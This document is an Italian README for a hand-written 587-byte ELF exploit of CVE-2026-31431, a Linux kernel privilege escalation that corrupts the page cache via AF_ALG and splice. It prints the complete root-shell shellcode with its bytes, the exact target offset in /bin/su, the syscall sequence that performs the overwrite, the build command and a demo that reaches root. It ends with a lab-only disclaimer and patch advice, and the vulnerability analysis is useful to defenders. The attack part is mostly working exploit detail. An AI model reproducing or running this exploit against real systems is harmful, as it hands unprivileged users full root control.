
Minimal exploit ELF statico da 587 byte per CVE-2026-31431, che ottiene l'escalation dei privilegi locali tramite la corruzione della cache delle pagine splice di AF_ALG. Nessuna dipendenza da libc o runtime.
Non ho trovato io questo bug. Il merito va a Xint Code / Theori.
Questo repo è la mia interpretazione su come rendere l'exploit il più piccolo possibile - un ELF x86_64 scritto a mano che esegue l'intero LPE in 587 byte. Niente libc, niente linker, niente runtime. Solo NASM e testardaggine.
In pratica, il kernel ti consegna una primitiva di scrittura nella page cache di qualsiasi file leggibile tramite AF_ALG + splice. Puntala al punto di ingresso di un binario setuid, scrivi lo shellcode, esegui il binario, root.
Per contesto sulle dimensioni: il post pubblico originale di Copy Fail includeva una piccola versione Python misurata in 732 byte. È estremamente figa, ma dipende ancora dalla presenza del runtime Python. Ancora più piccola è https://kopy.fail a 524 byte. Questa però è un ELF statico grezzo: niente interprete, niente libc, niente linker, niente dynamic loader. (mia mamma dice che è figo)
| CVE | CVE-2026-31431 |
| Classe di bug | Corruzione della page cache tramite aliasing di splice |
| Causa principale | af_alg_sendpage / splice in richieste AEAD crea alias delle pagine della page cache nell'output scatter-gather del crypto |
| Componente | crypto/af_alg.c + crypto/algif_aead.c |
| Impatto | Scrittura di byte controllati nella page cache di qualsiasi file leggibile |
| Requisiti | Utente locale, supporto AF_ALG/AEAD raggiungibile, target setuid leggibile |
| Exploit | ELF statico da 587 byte (x86_64), file singolo, zero dipendenze |
AF_ALG permette allo userspace di fare crypto del kernel tramite socket. Per cifrari AEAD come
authencesn, il kernel accetta dati tramite sendmsg con MSG_MORE, poi puoi
fare splice di altri dati da un file descriptor.
La parte maledetta: quando fai splice di un file, il kernel blocca le pagine della page cache del file direttamente nella lista scatter-gather del crypto. L'operazione AEAD poi scrive il suo output di nuovo in quelle stesse pagine. Il kernel pensa di aver dato al crypto un buffer di lettura. Il crypto pensa di aver ricevuto un buffer di scrittura. Nessuno copia.
I byte che fornisci come metadati AAD finiscono per essere visibili attraverso la page cache. Qualsiasi lettura successiva di quel file - da qualsiasi processo, qualsiasi utente, inclusa l'esecuzione di suid - vede i dati corrotti. Il file su disco è intatto. Cambia solo la vista in memoria della page cache.
Copy Fail è la maledizione della famiglia page-cache/COW che si manifesta in veste AF_ALG. Stessa discendenza di Dirty COW (CVE-2016-5195) - "il kernel ti ha lasciato scrivere su qualcosa che avresti dovuto solo poter leggere" - ma attraverso il percorso crypto splice invece della race madvise/write.
Target: /bin/su su Debian Bookworm (incluso il rootfs di kernelCTF). Il punto di ingresso
dell'ELF si trova all'offset di file 0x3910.
28 byte di shellcode lo trasformano in un dropper di shell root:
; setuid(0) - 7 byte
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 byte
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
La primitiva AEAD ti dà solo 4 byte per operazione - un blocco da 32 bit dell'AAD finisce all'offset dello splice. 28 byte di shellcode ÷ 4 = 7 passaggi attraverso lo stack crypto del kernel. Ogni iterazione:
socket(AF_ALG) + bind con authencesn(hmac(sha1),cbc(aes))setsockopt per impostare la chiave e la dimensione del tag di autenticazioneaccept per ottenere il file descriptor della richiestasendmsg con MSG_MORE - l'iov da 8 byte contiene 4 byte di riempimento AAD + 4 byte di shellcodesplice da /bin/su attraverso una pipe nel file descriptor della richiesta (posiziona le pagine della page cache)recvfrom - attiva l'elaborazione AEAD, corrompe la page cacheDopo tutte le 7 iterazioni, execve("/bin/su"). Il kernel lo carica dalla
page cache corrotta. L'esecuzione salta al punto di ingresso sovrascritto. Shell
root.
587 byte in totale. 120 di questi sono l'header ELF (il kernel non ti carica senza), quindi la logica effettiva dell'exploit è 467 byte di codice macchina + dati.
Ecco dove stanno le cose nell'header ELF:
Offset Campo Uso effettivo
------ ----- ----------
0x00 e_ident[0:8] magic + classe ELF (obbligatorio)
0x08 e_ident[8:16] materiale della chiave crypto (il kernel ignora questi byte)
0x28 e_shoff stringa "/bin/su\0" (il kernel ignora per ET_EXEC)
Il kernel guarda solo e_ident[0:7], e_type, e_machine, e_entry,
e_phoff, e_phnum e il phdr stesso. Tutto il resto è spazio libero.
Altri trucchi di dimensione:
push imm8 / pop rax / syscall (3 byte ciascuna)La prima versione funzionante era di 584 byte. Usava mov ax, 275 per la seconda
chiamata splice (2 byte più corta di mov eax, 275). Questo scommette che il primo
splice riesca sempre - se restituisce un errore negativo, i 48 bit superiori di
rax restano impostati, e mov ax, 275 sovrascrive solo i 16 inferiori. Poi il
numero di syscall del secondo splice è spazzatura.
Sul mio kernel di test funzionava sempre. Ma "funziona sempre nei test" è una brutta ragione per distribuire un bug, e se qualcuno ci incappa su un sistema dove splice restituisce EAGAIN sotto pressione di memoria, l'exploit va semplicemente in segfault senza alcuna indicazione di cosa sia andato storto. Ho accettato i 3 byte extra.
Ho anche dovuto aggiungere xor esi, esi prima della execve finale perché recvfrom
sporca rsi con l'indirizzo del buffer. Senza, execve riceve un puntatore argv spazzatura.
Un altro byte.
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
Richiede NASM. Produce direttamente il binario dell'exploit - nessun passaggio di linking.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
Richiede meno di un secondo. Nessun output in caso di successo - solo una shell root.
Richiede CONFIG_CRYPTO_USER_API_AEAD (integrato o modulo caricato) e il
percorso splice in-place non corretto in algif_aead. Il percorso di codice difettoso risale a
un'ottimizzazione del 2017. Controlla la configurazione del kernel della tua distribuzione e lo stato delle patch.
Il fix elimina il percorso in-place e copia le pagine sorgente dello splice invece di crearne alias nella lista scatter-gather del crypto. L'isolamento della page cache è ripristinato.
Questo è un artefatto KernelCTF/laboratorio. Eseguilo su sistemi che possiedi o su cui hai esplicito permesso di testare. Se stai difendendo macchine Linux, applica la patch al kernel o limita il caricamento del modulo AF_ALG/algif_aead.
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online